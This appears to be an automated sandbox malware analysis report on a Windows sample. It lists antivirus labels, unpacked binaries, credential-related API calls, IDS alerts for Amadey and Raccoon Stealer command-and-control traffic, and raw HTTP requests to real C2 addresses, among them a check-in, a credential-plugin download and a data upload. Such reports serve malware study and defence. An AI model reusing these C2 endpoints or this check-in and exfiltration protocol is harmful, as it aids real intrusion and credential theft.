Source: 35.3.gaystiqf.exe.650000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 19.3.E2A6.exe.580000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 19.2.E2A6.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 35.2.gaystiqf.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 38.2.svchost.exe.2360000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 35.2.gaystiqf.exe.850000.2.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 38.3.svchost.exe.284d000.4.unpack	Avira: Label: TR/Patched.Gen

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	18_2_00407470
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	18_2_00404830
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	18_2_00407510
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00407190 CryptUnprotectData,	18_2_00407190
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	18_2_004077A0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_006376C0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	18_2_006376C0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00634A80 CryptStringToBinaryA,CryptStringToBinaryA,	18_2_00634A80
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00637760 CryptUnprotectData,LocalAlloc,LocalFree,	18_2_00637760
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_006373E0 CryptUnprotectData,	18_2_006373E0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_006379F0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	18_2_006379F0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Unpacked PE file: 18.2.CFE8.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Unpacked PE file: 19.2.E2A6.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Unpacked PE file: 35.2.gaystiqf.exe.400000.0.unpack

Source: sbxGIUIhRd.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\8A6B.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49891 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000011.00000003.771800332.0000000001127000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.770525500.0000000005019000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.772754936.0000000001121000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: MUC:\des.pdbh source: sbxGIUIhRd.exe, 00000000.00000000.658796199.0000000000401000.00000020.00020000.sdmp, sbxGIUIhRd.exe, 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, sbxGIUIhRd.exe, 00000001.00000000.662835925.0000000000401000.00000020.00020000.sdmp, adijaeg, 00000009.00000000.749578013.0000000000401000.00000020.00020000.sdmp, adijaeg, 00000009.00000002.754692319.0000000000401000.00000020.00020000.sdmp, adijaeg, 0000000A.00000000.751678783.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 0000000D.00000000.762080930.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 0000000D.00000002.772256038.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 00000010.00000000.767772391.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdbz:^^ source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdby2V] source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: LC:\tiroducelidayu\citakuyar\g.pdbh source: E2A6.exe, 00000013.00000000.780837956.0000000000401000.00000020.00020000.sdmp, gaystiqf.exe, 00000023.00000000.802951269.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: C:\fuzobeficepo\fiwasito\cat45\yivo.pdb source: CFE8.exe, 00000012.00000000.774792717.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 8A6B.exe, 0000000C.00000000.756911608.0000000000413000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000002.806679360.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000011.00000002.805591545.0000000005480000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbv source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb^ source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: C:\des.pdb source: sbxGIUIhRd.exe, sbxGIUIhRd.exe, 00000000.00000000.658796199.0000000000401000.00000020.00020000.sdmp, sbxGIUIhRd.exe, 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, sbxGIUIhRd.exe, 00000001.00000000.662835925.0000000000401000.00000020.00020000.sdmp, adijaeg, 00000009.00000000.749578013.0000000000401000.00000020.00020000.sdmp, adijaeg, 00000009.00000002.754692319.0000000000401000.00000020.00020000.sdmp, adijaeg, 0000000A.00000000.751678783.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 0000000D.00000000.762080930.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 0000000D.00000002.772256038.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 00000010.00000000.767772391.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbT source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: C:\fuzobeficepo\fiwasito\cat45\yivo.pdbh source: CFE8.exe, 00000012.00000000.774792717.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: C:\tiroducelidayu\citakuyar\g.pdb source: E2A6.exe, 00000013.00000000.780837956.0000000000401000.00000020.00020000.sdmp, gaystiqf.exe, 00000023.00000000.802951269.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbl source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbj source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 8A6B.exe, 0000000C.00000000.756911608.0000000000413000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000002.806679360.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000011.00000002.805591545.0000000005480000.00000002.00020000.sdmp
Source:	Binary string: profapi.pdb` source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_00419A51 GetPrivateProfileSectionW,BuildCommDCBAndTimeoutsW,CreateMailslotA,CallNamedPipeA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameW,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeA,FindFirstFileExW,	0_2_00419A51
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	18_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	18_2_00401280
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	18_2_00401090
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	18_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_00409970
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00638A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_00638A30
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_006312E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	18_2_006312E0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_006314D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	18_2_006314D0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00636090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_00636090
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00639930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	18_2_00639930
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00639BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_00639BC0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00639D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	18_2_00639D90

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49908 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.4:49910 -> 141.8.194.74:80
Source: Traffic	Snort IDS: 1087 WEB-MISC whisker tab splice attack 192.168.2.4:49914 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49912 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49916 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49919 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49920 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49922 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49924 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.4:49930 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49931 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49932 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49934 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49937 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49938 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49940 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.4:49941 -> 81.163.30.181:80
Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.4:49945 -> 81.163.30.181:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49942 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49949 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49951 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49953 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49955 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 1087 WEB-MISC whisker tab splice attack 192.168.2.4:49959 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49956 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49962 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49964 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49965 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49967 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49968 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49969 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49970 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49971 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49972 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49973 -> 185.215.113.35:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.142.143.116 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.47.54.36 25
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET /d2VxjasuwS/plugins/cred.dll HTTP/1.1Host: 185.215.113.35
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----a1b03842422d99b86f413e6a2023f33fHost: 185.215.113.35Content-Length: 95326Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET /capibar HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 185.163.204.22
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 128Host: 185.163.204.24
Source: global traffic	HTTP traffic detected: GET //l/f/S2zKVH4BZ2GIX1a3NFPE/bd39b08a69ef2a6dac4b951657d49c6ecf7db331 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
